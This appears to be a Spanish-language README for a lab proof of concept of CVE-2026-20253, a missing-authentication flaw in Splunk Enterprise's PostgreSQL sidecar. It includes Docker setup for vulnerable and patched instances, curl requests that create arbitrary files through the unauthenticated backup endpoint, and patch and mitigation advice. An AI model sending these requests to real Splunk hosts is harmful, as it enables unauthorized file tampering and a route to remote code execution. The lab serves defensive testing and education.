
PoC para CVE-2026-20253
Creación y truncado arbitrario de archivos sin autenticación a través del sidecar de PostgreSQL
CVSS 9.8 · Crítico · CWE-306 · Explotado activamente (CISA KEV)
Este repositorio está destinado estrictamente a fines educativos y de investigación de seguridad autorizada.
Todas las pruebas deben realizarse contra infraestructura que poseas o para la que tengas permiso explícito por escrito.
Los autores no aceptan ninguna responsabilidad por el uso indebido de las técnicas o herramientas aquí demostradas.
Nunca ejecutes esto contra sistemas de producción o entornos que no poseas.
CVE-2026-20253 afecta a versiones de Splunk Enterprise anteriores a 10.2.4 y 10.0.7.
El servicio sidecar de PostgreSQL incluido con Splunk expone dos endpoints HTTP internos:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Ambos endpoints carecen de cualquier verificación de autenticación (CWE-306), lo que significa que cualquier atacante con acceso a la red puede invocarlos sin credenciales. Al proporcionar un parámetro backupFile controlado por el atacante, un usuario no autenticado puede crear o truncar archivos arbitrarios en el sistema de archivos del host Splunk — una primitiva que los investigadores han encadenado para lograr Ejecución Remota de Código completa sin autenticación previa.
.
├── Dockerfile # Imagen vulnerable (splunk 10.2.3)
├── docker-compose.yml # Contenedor vulnerable en el puerto 8000
├── patched.Dockerfile # Imagen parcheada (splunk 10.2.4)
├── patched-docker-compose.yml # Contenedor parcheado en el puerto 8001
└── instructions # Referencia rápida de comandos
curl disponibledocker compose -f docker-compose.yml up -d --build
Espera ~90 segundos para que Splunk se inicialice completamente. Sigue el progreso con:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Interfaz web de Splunk → http://localhost:8000
Credenciales: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Interfaz web de Splunk → http://localhost:8001
Credenciales: admin / changeme
Ambos contenedores pueden ejecutarse simultáneamente: los puertos están desplazados para evitar conflictos.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Esperado: 400 — el endpoint existe, no se aplicó autenticación, la solicitud fue procesada.
Verifica que el archivo se haya creado dentro del contenedor:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Esperado: 401 — ahora se aplica autenticación, la solicitud fue rechazada.
| Estado HTTP |
|---|
El equipo de watchTowr Labs publicó un script de detección que automatiza la verificación anterior:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
Actualiza a una versión corregida de inmediato:
| Rama | Versión corregida |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
Si no puedes aplicar el parche de inmediato, deshabilita el sidecar de PostgreSQL agregando lo siguiente a server.conf y reiniciando Splunk:
[postgres]
disabled = true
⚠️ No deshabilites el sidecar si estás ejecutando Edge Processor o pipelines de datos SPL2 — es necesario para esas funciones.
Este entorno de laboratorio se proporciona solo para investigación de seguridad defensiva y educación.
El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA), la UK Computer Misuse Act y la legislación equivalente a nivel mundial.
Úsalo de manera responsable.
| Propiedad | Detalle |
|---|
| CVE | CVE-2026-20253 |
| Puntuación CVSS | 9.8 (Crítico) |
| CWE | CWE-306 — Falta de autenticación para función crítica |
| Afecta | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Corregido en | 10.0.7, 10.2.4 |
| CISA KEV | Agregado el 18 de junio de 2026 |
| Significado |
|---|
400 | Vulnerable — endpoint alcanzado, sin verificación de autenticación |
401 | Parcheado — autenticación aplicada |
404 | Sidecar no presente / ruta incorrecta |
000 | Contenedor aún no listo |